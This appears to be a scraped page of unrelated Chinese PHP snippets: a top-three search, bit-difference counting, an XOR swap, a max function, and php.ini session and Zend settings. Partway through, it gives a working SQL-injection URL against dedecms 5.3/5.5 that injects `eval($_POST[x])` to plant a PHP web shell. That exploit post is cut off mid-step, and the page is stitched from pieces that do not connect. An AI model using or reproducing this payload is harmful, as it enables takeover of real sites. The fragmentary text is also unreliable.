-
<?php
-
// 生成100万个数字
-
$array = array();
-
for ($i = 0; $i < 1000000; $i++) {
-
$array[$i] = 1000000 - $i; // 最好的情况 最大的3个数字在前3个
-
// $array[$i] = $i; // 最坏的情况 最大的3个数字在后3个
-
}
-
-
// 声明数组
-
$result = array(0, 0 ,0);
-
-
// 开始遍历查找
-
foreach ($array as $i => $value) {
-
if ($array[$i] > $result[2]) { // 与第3位数字对比
-
$temp = $array[$i];
-
$array[$i] = $result[2];
-
$result[2] = $temp;
-
if ($result[2] > $result[1]) { // 与第2位数字对比
-
$temp = $result[2];
-
$result[2] = $result[1];
-
$result[1] = $temp;
-
if ($result[1] > $result[0]) { // 与第1位数字对比
-
$temp = $result[1];
-
$result[1] = $result[0];
-
$result[0] = $temp;
-
}
-
}
-
}
-
}
-
-
/**
-
* 结果
-
* Array ( [0] => 1000000 [1] => 999999 [2] => 999998 )
-
*/
-
print_r($result);
给定两个正整数(二进制形式表示)A和B,问把A变为B需要改变多少位(bit)?
也就是说,整数A 和B 的二进制表示中有多少位是不同的?
先异或A和B得结果C,在统计结果C的二进制中有多少位1,即求到了A和B的二进制中有多少不同的位N。
-
<?php
-
$n = 0;
-
$a = 10;
-
$b = 20;
-
$c = $a ^ $b;
-
-
echo 'A:' . str_pad(decbin($a), 8, 0, STR_PAD_LEFT) . '<br />';
-
echo 'B:' . str_pad(decbin($b), 8, 0, STR_PAD_LEFT) . '<br />';
-
echo 'C:' . str_pad(decbin($c), 8, 0, STR_PAD_LEFT) . '<br />';
-
while ($c) {
-
$c &= ($c - 1);
-
$n++;
-
}
-
echo 'N:' . $n . '<br />';
dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。
假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:
http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见以下错误信息
用位运算中的异或运算
[code lang="php"]
$a = 888;
$b = 999;
echo "交换前:\$a = {$a}; \$b = {$b};";
$b = $a ^ $b;
$a = $a ^ $b;
$b = $a ^ $b;
echo "交换后:\$a = {$a}; \$b = {$b};";
[/code]
此算法能够实现是由异或运算的特点决定的,通过异或运算能够把 $a 和 $b 中不同的位设为 1 。这就意味着任意一个数与任意一个给定的值连续异或两次,值不变。
详细运算过程:
$a = 888;
$b = 999;
没有异或:
$a 的二进制是 1101111000
$b 的二进制是 1111100111
第一次按位异或:$b = $a ^ $b;
1101111000
1111100111
—————–
0010011111
$a 的二进制是 1101111000
$b 的二进制是 0010011111
第二次按位异或:$a = $a ^ $b
0010011111
1101111000
—————–
1111100111
$a 的二进制是 1111100111
$b 的二进制是 0010011111
第三次按位异或:$b = $a ^ $b
1111100111
0010011111
—————–
1101111000
$a 的二进制是 1111100111
$b 的二进制是 1101111000
成功交换变量的值
我觉得这道题不是简单在考三元运算符,主要还是在考程序员在写函数时有没有考虑到函数的可扩展性。
[code lang="php"]
$a = 1;
$b = 2;
$c = 3;
echo my_max($a, $b, $c);
function my_max()
{
$max = 0;
$args = func_get_args();
foreach ($args as $nums) {
$max = (is_numeric($nums) && $max < $nums) ? $nums : $max;
}
return $max;
}
[/code]
我实际操作下了,能不能用要根据 php.ini 对 SESSION 的配置情况
php.ini 中 SESSION 的配置
session.use_only_cookies = 0; // 关闭仅使用cookies存放会话id
session.use_trans_sid = 1; // 允许SessionID通过URL明文传输
在这种情况下SESSION是可以使用的,服务器端会自动在地址后面附加PHPSESSIONID参数。
示例:http://www.henghome.com/test.php?PHPSESSIONID=4refrie2ot5kk73nkgpnbjgg37
php.ini 中 SESSION 的配置
session.use_only_cookies = 1; // 开启仅使用cookies存放会话id
session.use_trans_sid = 1; // 允许SessionID通过URL明文传输
在这种情况下虽然已经允许了SessionID通过URL明文传输,担是同时又开启了仅使用cookies存放会话SessionID,所以在URL中明文传输的PHPSESSIONID参数值是无效的,SESSION 不能用。
php.ini 中 SESSION 的配置
session.use_trans_sid = 0; // 禁止SessionID通过URL方式明文传输
SESSION 不能用, 这是最这安全的做法,也是 php.ini 的默认配置
php.ini配置:${path}表示系统路径
[Zend]
zend_extension_manager.optimizer_ts=”${path}\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0″
zend_extension_ts=”${path}\Zend\ZendOptimizer-3.3.0\lib\ZendExtensionManager.dll”



